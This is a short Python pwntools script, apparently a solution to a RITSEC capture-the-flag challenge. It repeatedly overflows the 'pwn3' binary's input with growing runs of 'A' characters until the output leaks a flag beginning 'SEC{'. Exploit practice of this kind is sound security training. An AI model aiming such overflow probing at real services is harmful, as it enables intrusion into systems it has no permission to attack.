#!/usr/bin/python2
from pwn import *

recieved = ""
length = 0x400
with context.quiet:
    while "SEC{" not in recieved and length < 0x700:
        p = process('./pwn3')
        #p = remote('fun.ritsec.club', 1338)
        payload = "A"*(length-1)
        p.sendlineafter('hangry...\n', payload)
        recieved = p.recvall()
        p.close()
        length += 0x10
print recieved.split('\n')[1]
